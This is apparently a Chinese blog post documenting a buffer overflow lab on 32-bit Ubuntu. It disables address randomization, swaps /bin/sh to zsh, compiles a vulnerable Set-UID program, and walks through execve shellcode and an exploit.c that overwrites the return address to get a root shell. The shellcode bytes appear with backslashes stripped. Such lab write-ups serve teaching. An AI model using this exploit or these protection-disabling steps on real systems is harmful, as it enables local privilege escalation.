zoukankan      html  css  js  c++  java
  • 缓冲区溢出实验

    实验环境:Ubuntu20.04 32位

    实验机:Ubuntu20.04 64位

    代码链接

    1 初始设置

    1. Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。可以使用sudo sysctl -w kernel.randomize_va_space=0,执行结果如下:

      image

    2. 此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。可以使用如下指令配置zsh(实验系统未安装zsh,如安装可跳过第一条命令):

      sudo apt install zsh
      sudo su
      cd /bin
      rm sh
      ln -s zsh sh
      exit
      
    3. 输入命令linux32进入32位linux环境。

      image

    2 shellcode

    一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。以下为shellcodeC语言版本。

    #include <stdio.h>
    int main()
    {
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
    }
    

    通常使用的是汇编后的shellcode,如下:

    x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
    

    3 漏洞程序

    漏洞程序代码如下:

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

    编译该程序,并设置 SET-UID。命令如下:

    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    chmod u+s stack
    

    执行第一条命令,出现报错

    image

    提示缺少相应头文件,使用sudo apt-get install gcc-multilib下载对应依赖。

    再次执行命令,执行成功。

    image

    image

    GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

    -g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

    4 攻击程序

    我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。在当前目录下新建一个 exploit.c 文件,文件内容如下:

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    注意上面的代码,x??x??x??x?? 处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面将详细介绍如何获得需要添加的地址。

    首先使用gdb staack命令进入gdb调试,先run,再使用disass main命令

    重点看

    image

    esp 中就是 str 的起始地址,所以我们在地址 0x56556279处设置断点

    地址可能不一致,请根据你的显示结果自行修改。

    接下来的操作:

    b *0x56556279
    r
    i r $esp
    

    image


    最后获得的这个 0xffffcf30 就是 str 的地址。

    按q键,再按y退出调试

    根据语句strcpy(buffer + 100,shellcode); 我们计算shellcode的地址为0xffffcf30 + 0x64 = 0xffffcf94

    现在修改exploit.c文件,将 x??x??x??x?? 修改为计算的结果 x94xcfxffxff,注意顺序是反的。

    然后编译exploit.c程序:gcc -m32 -o exploit exploit.c

    执行以下命令

    ./exploit
    ./stack
    

    运行结果如下:

    image

    5 拓展实验

    5.1 打开地址空间随机化机制

    过命令sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制,结果显然不能进行root。

    image

    关闭地址空间随机化机制后,再次执行就能root了。

    image

    5.2 将/bin/sh重新指向/bin/bash

    使用一下命令将/bin/sh重新指向/bin/bash

    sudo su
    cd /bin
    rm sh
    ln -s bash sh
    exit
    

    运行结果如下

    image

    进入linux32,再次运行stack,无法root,显示为段错误

    image

    再次切换为zsh,运行stack,结果如下:

    image

    6 实验总结

    本次实验参考实验楼-缓冲区溢出实验

    需要指出该参考资料存在一处问题:

    image

    在进入gdb调试后直接进行反汇编,得到的结果如下图:

    image

    实际上,这种做法是错误的。应当按照本文中的做法,先run,再disass main,具体原因如下:

    在没有用gdb运行(run)过可执行程序之前,使用disass指令反汇编出来的汇编语言的左边的地址偏移地址,不是逻辑地址。

    参考资料

    所以这样做最后是无法通过缓冲区溢出得到root权限的,我在做的时候踩了这个坑。

  • 相关阅读:
    LeetCode 326. Power of Three
    LeetCode 324. Wiggle Sort II
    LeetCode 322. Coin Change
    LeetCode 321. Create Maximum Number
    LeetCode 319. Bulb Switcher
    LeetCode 318. Maximum Product of Word Lengths
    LeetCode 310. Minimum Height Trees (DFS)
    个人站点大开发!--起始篇
    LeetCode 313. Super Ugly Number
    LeetCode 309. Best Time to Buy and Sell Stock with Cooldown (DP)
  • 原文地址:https://www.cnblogs.com/lxy2019/p/15468109.html
Copyright © 2011-2022 走看看